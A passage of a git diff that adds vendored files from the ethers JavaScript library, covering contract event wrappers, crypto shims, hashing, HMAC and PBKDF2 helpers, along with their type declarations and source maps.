@_ignore: + */ + constructor(contract, listener, filter, fragment, _log) { + super(contract, listener, filter, new EventLog(_log, contract.interface, fragment)); + const args = contract.interface.decodeEventLog(fragment, this.log.data, this.log.topics); + defineProperties(this, { args, fragment }); + } + /** + * The event name. + */ + get eventName() { + return this.fragment.name; + } + /** + * The event signature. + */ + get eventSignature() { + return this.fragment.format(); + } +} +//# sourceMappingURL=wrappers.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/wrappers.js.map b/node_modules/ethers/lib.esm/contract/wrappers.js.map new file mode 100644 index 000000000000..475b39d5869c --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/wrappers.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wrappers.js","sourceRoot":"","sources":["../../src.ts/contract/wrappers.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,yBAAyB;AACzB,OAAO,EACI,GAAG,EAAE,kBAAkB,EAAE,mBAAmB,EACtD,MAAM,0BAA0B,CAAC;AAClC,OAAO,EAAE,gBAAgB,EAAE,YAAY,EAAE,MAAM,mBAAmB,CAAC;AAWnE;;GAEG;AACH,MAAM,OAAO,QAAS,SAAQ,GAAG;IAC7B;;OAEG;IACM,SAAS,CAAa;IAE/B;;OAEG;IACM,QAAQ,CAAiB;IAElC;;OAEG;IACM,IAAI,CAAU;IAEvB;;OAEG;IACH,YAAY,GAAQ,EAAE,KAAgB,EAAE,QAAuB;QAC3D,KAAK,CAAC,GAAG,EAAE,GAAG,CAAC,QAAQ,CAAC,CAAC;QACzB,MAAM,IAAI,GAAG,KAAK,CAAC,cAAc,CAAC,QAAQ,EAAE,GAAG,CAAC,IAAI,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC;QAClE,gBAAgB,CAAW,IAAI,EAAE,EAAE,IAAI,EAA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AAC,qBAAqB;QACvB,OAAO,MAAM,IAAI,CAAC,GAAG,CAAC,qBAAqB,EAAE,CAAC;IAClD,CAAC;CACJ;AAED;;;GAGG;AACH,MAAM,OAAO,oBAAqB,SAAQ,2BAA2B;IAiBjE;;OAEG;IACH,YAAY,QAAsB,EAAE,QAAyB,EAAE,MAAyB,EAAE,QAAuB,EAAE,IAAS;QACxH,KAAK,CAAC,QAAQ,EAAE,QAAQ,EAAE,MAAM,EAAE,IAAI,QAAQ,CAAC,IAAI,EAAE,QAAQ,CAAC,SAAS,EAAE,QAAQ,CAAC,CAAC,CAAC;QACpF,MAAM,IAAI,GAAG,QAAQ,CAAC,SAAS,CAAC,cAAc,CAAC,QAAQ,EAAE,IAAI,CAAC,GAAG,CAAC,IAAI,EAAE,IAAI,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QACzF,gBAAgB,CAAuB,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,CAAC,CAAC;IACrE,CAAC;IAED;;OAEG;IACH,IAAI,SAAS;QACT,OAAO,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC;IAC9B,CAAC;IAED;;OAEG;IACH,IAAI,cAAc;QACd,OAAO,IAAI,CAAC,QAAQ,CAAC,MAAM,EAAE,CAAC;IAClC,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/crypto-browser.d.ts b/node_modules/ethers/lib.esm/crypto/crypto-browser.d.ts new file mode 100644 index 000000000000..ba0bbf193371 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/crypto-browser.d.ts @@ -0,0 +1,15 @@ +declare global { + interface Window { + } + const window: Window; + const self: Window; +} +export interface CryptoHasher { + update(data: Uint8Array): CryptoHasher; + digest(): Uint8Array; +} +export declare function createHash(algo: string): CryptoHasher; +export declare function createHmac(_algo: string, key: Uint8Array): CryptoHasher; +export declare function pbkdf2Sync(password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, _algo: "sha256" | "sha512"): Uint8Array; +export declare function randomBytes(length: number): Uint8Array; +//# sourceMappingURL=crypto-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/crypto-browser.d.ts.map b/node_modules/ethers/lib.esm/crypto/crypto-browser.d.ts.map new file mode 100644 index 000000000000..b6950c785de8 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/crypto-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto-browser.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/crypto-browser.ts"],"names":[],"mappings":"AAUA,OAAO,CAAC,MAAM,CAAC;IACX,UAAU,MAAM;KAAI;IAEpB,MAAM,MAAM,EAAE,MAAM,CAAC;IACrB,MAAM,IAAI,EAAE,MAAM,CAAC;CACtB;AAcD,MAAM,WAAW,YAAY;IACzB,MAAM,CAAC,IAAI,EAAE,UAAU,GAAG,YAAY,CAAC;IACvC,MAAM,IAAI,UAAU,CAAC;CACxB;AAED,wBAAgB,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,YAAY,CAMrD;AAED,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,EAAE,GAAG,EAAE,UAAU,GAAG,YAAY,CAIvE;AAED,wBAAgB,UAAU,CAAC,QAAQ,EAAE,UAAU,EAAE,IAAI,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,QAAQ,GAAG,QAAQ,GAAG,UAAU,CAI7I;AAED,wBAAgB,WAAW,CAAC,MAAM,EAAE,MAAM,GAAG,UAAU,CAStD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/crypto-browser.js b/node_modules/ethers/lib.esm/crypto/crypto-browser.js new file mode 100644 index 000000000000..8d95b6fa03dc --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/crypto-browser.js @@ -0,0 +1,48 @@ +/* Browser Crypto Shims */ +import { hmac } from "@noble/hashes/hmac"; +import { pbkdf2 } from "@noble/hashes/pbkdf2"; +import { sha256 } from "@noble/hashes/sha256"; +import { sha512 } from "@noble/hashes/sha512"; +import { assert, assertArgument } from "../utils/index.js"; +function getGlobal() { + if (typeof self !== 'undefined') { + return self; + } + if (typeof window !== 'undefined') { + return window; + } + if (typeof global !== 'undefined') { + return global; + } + throw new Error('unable to locate global object'); +} +; +const anyGlobal = getGlobal(); +const crypto = anyGlobal.crypto || anyGlobal.msCrypto; +export function createHash(algo) { + switch (algo) { + case "sha256": return sha256.create(); + case "sha512": return sha512.create(); + } + assertArgument(false, "invalid hashing algorithm name", "algorithm", algo); +} +export function createHmac(_algo, key) { + const algo = ({ sha256, sha512 }[_algo]); + assertArgument(algo != null, "invalid hmac algorithm", "algorithm", _algo); + return hmac.create(algo, key); +} +export function pbkdf2Sync(password, salt, iterations, keylen, _algo) { + const algo = ({ sha256, sha512 }[_algo]); + assertArgument(algo != null, "invalid pbkdf2 algorithm", "algorithm", _algo); + return pbkdf2(algo, password, salt, { c: iterations, dkLen: keylen }); +} +export function randomBytes(length) { + assert(crypto != null, "platform does not support secure random numbers", "UNSUPPORTED_OPERATION", { + operation: "randomBytes" + }); + assertArgument(Number.isInteger(length) && length > 0 && length <= 1024, "invalid length", "length", length); + const result = new Uint8Array(length); + crypto.getRandomValues(result); + return result; +} +//# sourceMappingURL=crypto-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/crypto-browser.js.map b/node_modules/ethers/lib.esm/crypto/crypto-browser.js.map new file mode 100644 index 000000000000..28134d2bbc43 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/crypto-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto-browser.js","sourceRoot":"","sources":["../../src.ts/crypto/crypto-browser.ts"],"names":[],"mappings":"AAAA,0BAA0B;AAE1B,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAC1C,OAAO,EAAE,MAAM,EAAE,MAAM,sBAAsB,CAAC;AAC9C,OAAO,EAAE,MAAM,EAAE,MAAM,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KAA0B;IAC7H,MAAM,IAAI,GAAG,CAAC,EAAE,MAAM,EAAE,MAAM,EAAE,CAAC,KAAK,CAAC,CAAC,CAAC;IACzC,cAAc,CAAC,IAAI,IAAI,IAAI,EAAE,0BAA0B,EAAE,WAAW,EAAE,KAAK,CAAC,CAAC;IAC7E,OAAO,MAAM,CAAC,IAAI,EAAE,QAAQ,EAAE,IAAI,EAAE,EAAE,CAAC,EAAE,UAAU,EAAE,KAAK,EAAE,MAAM,EAAE,CAAC,CAAC;AAC1E,CAAC;AAED,MAAM,UAAU,WAAW,CAAC,MAAc;IACtC,MAAM,CAAC,MAAM,IAAI,IAAI,EAAE,iDAAiD,EAAE,uBAAuB,EAAE;QAC/F,SAAS,EAAE,aAAa;KAAE,CAAC,CAAC;IAEhC,cAAc,CAAC,MAAM,CAAC,SAAS,CAAC,MAAM,CAAC,IAAI,MAAM,GAAG,CAAC,IAAI,MAAM,IAAI,IAAI,EAAE,gBAAgB,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IAE7G,MAAM,MAAM,GAAG,IAAI,UAAU,CAAC,MAAM,CAAC,CAAC;IACtC,MAAM,CAAC,eAAe,CAAC,MAAM,CAAC,CAAC;IAC/B,OAAO,MAAM,CAAC;AAClB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/crypto.d.ts b/node_modules/ethers/lib.esm/crypto/crypto.d.ts new file mode 100644 index 000000000000..e9c555de6e30 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/crypto.d.ts @@ -0,0 +1,2 @@ +export { createHash, createHmac, pbkdf2Sync, randomBytes } from "crypto"; +//# sourceMappingURL=crypto.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/crypto.d.ts.map b/node_modules/ethers/lib.esm/crypto/crypto.d.ts.map new file mode 100644 index 000000000000..c417228d197e --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/crypto.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/crypto.ts"],"names":[],"mappings":"AACA,OAAO,EACH,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,WAAW,EAClD,MAAM,QAAQ,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/crypto.js b/node_modules/ethers/lib.esm/crypto/crypto.js new file mode 100644 index 000000000000..05475e30bb99 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/crypto.js @@ -0,0 +1,2 @@ +export { createHash, createHmac, pbkdf2Sync, randomBytes } from "crypto"; +//# sourceMappingURL=crypto.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/crypto.js.map b/node_modules/ethers/lib.esm/crypto/crypto.js.map new file mode 100644 index 000000000000..1ff179cf91bc --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/crypto.js.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto.js","sourceRoot":"","sources":["../../src.ts/crypto/crypto.ts"],"names":[],"mappings":"AACA,OAAO,EACH,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,WAAW,EAClD,MAAM,QAAQ,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/hmac.d.ts b/node_modules/ethers/lib.esm/crypto/hmac.d.ts new file mode 100644 index 000000000000..4c5e3227d53f --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/hmac.d.ts @@ -0,0 +1,25 @@ +import type { BytesLike } from "../utils/index.js"; +/** + * Return the HMAC for %%data%% using the %%key%% key with the underlying + * %%algo%% used for compression. + * + * @example: + * key = id("some-secret") + * + * // Compute the HMAC + * computeHmac("sha256", key, "0x1337") + * //_result: + * + * // To compute the HMAC of UTF-8 data, the data must be + * // converted to UTF-8 bytes + * computeHmac("sha256", key, toUtf8Bytes("Hello World")) + * //_result: + * + */ +export declare function computeHmac(algorithm: "sha256" | "sha512", _key: BytesLike, _data: BytesLike): string; +export declare namespace computeHmac { + var _: (algorithm: "sha256" | "sha512", key: Uint8Array, data: Uint8Array) => BytesLike; + var lock: () => void; + var register: (func: (algorithm: "sha256" | "sha512", key: Uint8Array, data: Uint8Array) => BytesLike) => void; +} +//# sourceMappingURL=hmac.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/hmac.d.ts.map b/node_modules/ethers/lib.esm/crypto/hmac.d.ts.map new file mode 100644 index 000000000000..aa56a49f2590 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/hmac.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"hmac.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/hmac.ts"],"names":[],"mappings":"AAWA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAWnD;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,WAAW,CAAC,SAAS,EAAE,QAAQ,GAAG,QAAQ,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,SAAS,GAAG,MAAM,CAIrG;yBAJe,WAAW"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/hmac.js b/node_modules/ethers/lib.esm/crypto/hmac.js new file mode 100644 index 000000000000..944c6651a179 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/hmac.js @@ -0,0 +1,47 @@ +/** + * An **HMAC** enables verification that a given key was used + * to authenticate a payload. + * + * See: [[link-wiki-hmac]] + * + * @_subsection: api/crypto:HMAC [about-hmac] + */ +import { createHmac } from "./crypto.js"; +import { getBytes, hexlify } from "../utils/index.js"; +let locked = false; +const _computeHmac = function (algorithm, key, data) { + return createHmac(algorithm, key).update(data).digest(); +}; +let __computeHmac = _computeHmac; +/** + * Return the HMAC for %%data%% using the %%key%% key with the underlying + * %%algo%% used for compression. + * + * @example: + * key = id("some-secret") + * + * // Compute the HMAC + * computeHmac("sha256", key, "0x1337") + * //_result: + * + * // To compute the HMAC of UTF-8 data, the data must be + * // converted to UTF-8 bytes + * computeHmac("sha256", key, toUtf8Bytes("Hello World")) + * //_result: + * + */ +export function computeHmac(algorithm, _key, _data) { + const key = getBytes(_key, "key"); + const data = getBytes(_data, "data"); + return hexlify(__computeHmac(algorithm, key, data)); +} +computeHmac._ = _computeHmac; +computeHmac.lock = function () { locked = true; }; +computeHmac.register = function (func) { + if (locked) { + throw new Error("computeHmac is locked"); + } + __computeHmac = func; +}; +Object.freeze(computeHmac); +//# sourceMappingURL=hmac.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/hmac.js.map b/node_modules/ethers/lib.esm/crypto/hmac.js.map new file mode 100644 index 000000000000..6e0c8ea2a5ef --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/hmac.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hmac.js","sourceRoot":"","sources":["../../src.ts/crypto/hmac.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,EAAE,UAAU,EAAE,MAAM,aAAa,CAAC;AACzC,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAKtD,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,YAAY,GAAG,UAAS,SAA8B,EAAE,GAAe,EAAE,IAAgB;IAC3F,OAAO,UAAU,CAAC,SAAS,EAAE,GAAG,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,MAAM,EAAE,CAAC;AAC5D,CAAC,CAAA;AAED,IAAI,aAAa,GAAG,YAAY,CAAC;AAEjC;;;;;;;;;;;;;;;;GAgBG;AACH,MAAM,UAAU,WAAW,CAAC,SAA8B,EAAE,IAAe,EAAE,KAAgB;IACzF,MAAM,GAAG,GAAG,QAAQ,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;IAClC,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,OAAO,CAAC,aAAa,CAAC,SAAS,EAAE,GAAG,EAAE,IAAI,CAAC,CAAC,CAAC;AACxD,CAAC;AACD,WAAW,CAAC,CAAC,GAAG,YAAY,CAAC;AAC7B,WAAW,CAAC,IAAI,GAAI,cAAa,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACjD,WAAW,CAAC,QAAQ,GAAG,UAAS,IAAsF;IAClH,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,uBAAuB,CAAC,CAAC;KAAE;IACzD,aAAa,GAAG,IAAI,CAAC;AACzB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,WAAW,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/index.d.ts b/node_modules/ethers/lib.esm/crypto/index.d.ts new file mode 100644 index 000000000000..8d6bc5625101 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/index.d.ts @@ -0,0 +1,25 @@ +/** + * A fundamental building block of Ethereum is the underlying + * cryptographic primitives. + * + * @_section: api/crypto:Cryptographic Functions [about-crypto] + */ +import { computeHmac } from "./hmac.js"; +import { keccak256 } from "./keccak.js"; +import { ripemd160 } from "./ripemd160.js"; +import { pbkdf2 } from "./pbkdf2.js"; +import { randomBytes } from "./random.js"; +import { scrypt, scryptSync } from "./scrypt.js"; +import { sha256, sha512 } from "./sha2.js"; +export { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync }; +export { SigningKey } from "./signing-key.js"; +export { Signature } from "./signature.js"; +/** + * Once called, prevents any future change to the underlying cryptographic + * primitives using the ``.register`` feature for hooks. + */ +declare function lock(): void; +export { lock }; +export type { ProgressCallback } from "./scrypt.js"; +export type { SignatureLike } from "./signature.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/index.d.ts.map b/node_modules/ethers/lib.esm/crypto/index.d.ts.map new file mode 100644 index 000000000000..4f8d3c46bc6a --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/index.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAKH,OAAO,EAAE,WAAW,EAAE,MAAM,WAAW,CAAC;AACxC,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AACxC,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAC3C,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AACrC,OAAO,EAAE,WAAW,EAAE,MAAM,aAAa,CAAC;AAC1C,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,aAAa,CAAC;AACjD,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,WAAW,CAAC;AAE3C,OAAO,EACH,WAAW,EAEX,WAAW,EAEX,SAAS,EACT,SAAS,EACT,MAAM,EAAE,MAAM,EAEd,MAAM,EACN,MAAM,EAAE,UAAU,EACrB,CAAC;AAEF,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAE3C;;;GAGG;AACH,iBAAS,IAAI,IAAI,IAAI,CAWpB;AAED,OAAO,EAAE,IAAI,EAAE,CAAC;AAKhB,YAAY,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAC;AAEpD,YAAY,EAAE,aAAa,EAAE,MAAM,gBAAgB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/index.js b/node_modules/ethers/lib.esm/crypto/index.js new file mode 100644 index 000000000000..a86080245242 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/index.js @@ -0,0 +1,36 @@ +/** + * A fundamental building block of Ethereum is the underlying + * cryptographic primitives. + * + * @_section: api/crypto:Cryptographic Functions [about-crypto] + */ +null; +// We import all these so we can export lock() +import { computeHmac } from "./hmac.js"; +import { keccak256 } from "./keccak.js"; +import { ripemd160 } from "./ripemd160.js"; +import { pbkdf2 } from "./pbkdf2.js"; +import { randomBytes } from "./random.js"; +import { scrypt, scryptSync } from "./scrypt.js"; +import { sha256, sha512 } from "./sha2.js"; +export { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync }; +export { SigningKey } from "./signing-key.js"; +export { Signature } from "./signature.js"; +/** + * Once called, prevents any future change to the underlying cryptographic + * primitives using the ``.register`` feature for hooks. + */ +function lock() { + computeHmac.lock(); + keccak256.lock(); + pbkdf2.lock(); + randomBytes.lock(); + ripemd160.lock(); + scrypt.lock(); + scryptSync.lock(); + sha256.lock(); + sha512.lock(); + randomBytes.lock(); +} +export { lock }; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/index.js.map b/node_modules/ethers/lib.esm/crypto/index.js.map new file mode 100644 index 000000000000..8723de8b3908 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/crypto/index.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,IAAI,CAAA;AAEJ,8CAA8C;AAC9C,OAAO,EAAE,WAAW,EAAE,MAAM,WAAW,CAAC;AACxC,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AACxC,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAC3C,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AACrC,OAAO,EAAE,WAAW,EAAE,MAAM,aAAa,CAAC;AAC1C,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,aAAa,CAAC;AACjD,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,WAAW,CAAC;AAE3C,OAAO,EACH,WAAW,EAEX,WAAW,EAEX,SAAS,EACT,SAAS,EACT,MAAM,EAAE,MAAM,EAEd,MAAM,EACN,MAAM,EAAE,UAAU,EACrB,CAAC;AAEF,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAE3C;;;GAGG;AACH,SAAS,IAAI;IACT,WAAW,CAAC,IAAI,EAAE,CAAC;IACnB,SAAS,CAAC,IAAI,EAAE,CAAC;IACjB,MAAM,CAAC,IAAI,EAAE,CAAC;IACd,WAAW,CAAC,IAAI,EAAE,CAAC;IACnB,SAAS,CAAC,IAAI,EAAE,CAAC;IACjB,MAAM,CAAC,IAAI,EAAE,CAAC;IACd,UAAU,CAAC,IAAI,EAAE,CAAC;IAClB,MAAM,CAAC,IAAI,EAAE,CAAC;IACd,MAAM,CAAC,IAAI,EAAE,CAAC;IACd,WAAW,CAAC,IAAI,EAAE,CAAC;AACvB,CAAC;AAED,OAAO,EAAE,IAAI,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/keccak.d.ts b/node_modules/ethers/lib.esm/crypto/keccak.d.ts new file mode 100644 index 000000000000..533f46dc63d0 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/keccak.d.ts @@ -0,0 +1,35 @@ +/** + * Cryptographic hashing functions + * + * @_subsection: api/crypto:Hash Functions [about-crypto-hashing] + */ +import type { BytesLike } from "../utils/index.js"; +/** + * Compute the cryptographic KECCAK256 hash of %%data%%. + * + * The %%data%% **must** be a data representation, to compute the + * hash of UTF-8 data use the [[id]] function. + * + * @returns DataHexstring + * @example: + * keccak256("0x") + * //_result: + * + * keccak256("0x1337") + * //_result: + * + * keccak256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + * // Strings are assumed to be DataHexString, otherwise it will + * // throw. To hash UTF-8 data, see the note above. + * keccak256("Hello World") + * //_error: + */ +export declare function keccak256(_data: BytesLike): string; +export declare namespace keccak256 { + var _: (data: Uint8Array) => Uint8Array; + var lock: () => void; + var register: (func: (data: Uint8Array) => BytesLike) => void; +} +//# sourceMappingURL=keccak.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/keccak.d.ts.map b/node_modules/ethers/lib.esm/crypto/keccak.d.ts.map new file mode 100644 index 000000000000..a00644956676 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/keccak.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"keccak.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/keccak.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAMH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAWnD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAGlD;yBAHe,SAAS"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/keccak.js b/node_modules/ethers/lib.esm/crypto/keccak.js new file mode 100644 index 000000000000..a5914c9d00d4 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/keccak.js @@ -0,0 +1,48 @@ +/** + * Cryptographic hashing functions + * + * @_subsection: api/crypto:Hash Functions [about-crypto-hashing] + */ +import { keccak_256 } from "@noble/hashes/sha3"; +import { getBytes, hexlify } from "../utils/index.js"; +let locked = false; +const _keccak256 = function (data) { + return keccak_256(data); +}; +let __keccak256 = _keccak256; +/** + * Compute the cryptographic KECCAK256 hash of %%data%%. + * + * The %%data%% **must** be a data representation, to compute the + * hash of UTF-8 data use the [[id]] function. + * + * @returns DataHexstring + * @example: + * keccak256("0x") + * //_result: + * + * keccak256("0x1337") + * //_result: + * + * keccak256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + * // Strings are assumed to be DataHexString, otherwise it will + * // throw. To hash UTF-8 data, see the note above. + * keccak256("Hello World") + * //_error: + */ +export function keccak256(_data) { + const data = getBytes(_data, "data"); + return hexlify(__keccak256(data)); +} +keccak256._ = _keccak256; +keccak256.lock = function () { locked = true; }; +keccak256.register = function (func) { + if (locked) { + throw new TypeError("keccak256 is locked"); + } + __keccak256 = func; +}; +Object.freeze(keccak256); +//# sourceMappingURL=keccak.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/keccak.js.map b/node_modules/ethers/lib.esm/crypto/keccak.js.map new file mode 100644 index 000000000000..02837e9f9316 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/keccak.js.map @@ -0,0 +1 @@ +{"version":3,"file":"keccak.js","sourceRoot":"","sources":["../../src.ts/crypto/keccak.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;AAEhD,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAKtD,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,UAAU,GAAG,UAAS,IAAgB;IACxC,OAAO,UAAU,CAAC,IAAI,CAAC,CAAC;AAC5B,CAAC,CAAA;AAED,IAAI,WAAW,GAAoC,UAAU,CAAC;AAE9D;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,MAAM,UAAU,SAAS,CAAC,KAAgB;IACtC,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,OAAO,CAAC,WAAW,CAAC,IAAI,CAAC,CAAC,CAAC;AACtC,CAAC;AACD,SAAS,CAAC,CAAC,GAAG,UAAU,CAAC;AACzB,SAAS,CAAC,IAAI,GAAG,cAAmB,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACpD,SAAS,CAAC,QAAQ,GAAG,UAAS,IAAqC;IAC/D,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,SAAS,CAAC,qBAAqB,CAAC,CAAC;KAAE;IAC3D,WAAW,GAAG,IAAI,CAAC;AACvB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/pbkdf2.d.ts b/node_modules/ethers/lib.esm/crypto/pbkdf2.d.ts new file mode 100644 index 000000000000..400e9744fb1b --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/pbkdf2.d.ts @@ -0,0 +1,35 @@ +/** + * A **Password-Based Key-Derivation Function** is designed to create + * a sequence of bytes suitible as a **key** from a human-rememberable + * password. + * + * @_subsection: api/crypto:Passwords [about-pbkdf] + */ +import type { BytesLike } from "../utils/index.js"; +/** + * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using + * the %%salt%% and using %%iterations%% of %%algo%%. + * + * This PBKDF is outdated and should not be used in new projects, but is + * required to decrypt older files. + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the PBKDF2 + * pbkdf2(passwordBytes, salt, 1024, 16, "sha256") + * //_result: + */ +export declare function pbkdf2(_password: BytesLike, _salt: BytesLike, iterations: number, keylen: number, algo: "sha256" | "sha512"): string; +export declare namespace pbkdf2 { + var _: (password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, algo: "sha256" | "sha512") => BytesLike; + var lock: () => void; + var register: (func: (password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, algo: "sha256" | "sha512") => BytesLike) => void; +} +//# sourceMappingURL=pbkdf2.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/pbkdf2.d.ts.map b/node_modules/ethers/lib.esm/crypto/pbkdf2.d.ts.map new file mode 100644 index 000000000000..f869e13c81de --- /dev/null +++ 